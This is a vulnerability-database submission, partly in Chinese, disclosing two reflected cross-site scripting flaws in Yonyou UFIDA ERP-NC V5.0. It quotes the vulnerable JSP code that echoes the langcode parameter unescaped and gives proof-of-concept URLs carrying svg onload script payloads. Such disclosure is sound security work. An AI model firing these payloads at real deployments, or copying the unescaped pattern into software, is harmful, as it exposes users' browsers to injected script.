提交 #517309: Yonyou UFIDA ERP-NC V5.0 Cross Site Scripting信息

标题Yonyou UFIDA ERP-NC V5.0 Cross Site Scripting
描述Summary This report details the discovery of two Reflected Cross-Site Scripting (XSS) vulnerabilities in Yonyou UFIDA ERP-NC V5.0. These vulnerabilities exist in the /help/systop.jsp and /help/top.jsp components of the application. The vulnerabilities allow an attacker to inject malicious JavaScript code into the application, which is then executed in the context of the victim's browser. Details /help/systop.jsp <%String sLangcode = request.getParameter("langcode");%> ··· <SCRIPT language=JavaScript type=text/JavaScript> function onclickSearch(){ var term = document.frm1.term.value; if (term!="") window.parent.frames['helpfr2'].window.location.href = "Search.jsp?langcode=<%=sLangcode%>&term=" + term; } </SCRIPT> ··· <DIV style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=image/logo_<%=sLangcode%>.png);width:208px;height:47px"> The langcode parameter in /help/systop.jsp is directly used in the HTML output without proper sanitization or encoding. This allows an attacker to inject arbitrary JavaScript code, which is executed when the page is rendered. /help/top.jsp <%String sLangcode = request.getParameter("langcode");%> ··· <TD width="50" align=right> <font size="2"><%=nc.bs.ml.NCLangResOnserver.getInstance().getString(sLangcode,"smcomm","","search_find")%></font> ··· <TD width="80" align=right><font size="2"><%=nc.bs.ml.NCLangResOnserver.getInstance().getString(sLangcode,"smcomm","","displaydir")%></font></TD> ··· <a href="/menu.jsp?datasource=<%=sDatasource%>&langcode=<%=sLangcode%>" target="helpfr2"> ··· <DIV style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=image/logo_<%=sLangcode%>.png);width:208px;height:47px"> Similar to the first vulnerability, the langcode parameter in /help/top.jsp is also directly used in the HTML output without proper sanitization or encoding. This allows an attacker to inject arbitrary JavaScript code, which is executed when the page is rendered. POC http://target-ip/help/top.jsp?langcode=1"><svg%20onload=alert(1)> http://target-ip/help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(1)%3E http://target-ip/help/systop.jsp?langcode=1"><svg%20onload=alert(1)> http://target-ip/help/systop.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(1)%3E
来源⚠️ https://github.com/Hebing123/cve/issues/86
用户
 jiashenghe (UID 39445)
提交2025-03-10 06時51分 (2 年前)
管理2025-03-24 12時29分 (14 days later)
状态已接受
VulDB条目300732 [Yonyou UFIDA ERP-NC 5.0 /help/systop.jsp langcode 跨网站脚本]
积分20

Might our Artificial Intelligence support you?

Check our Alexa App!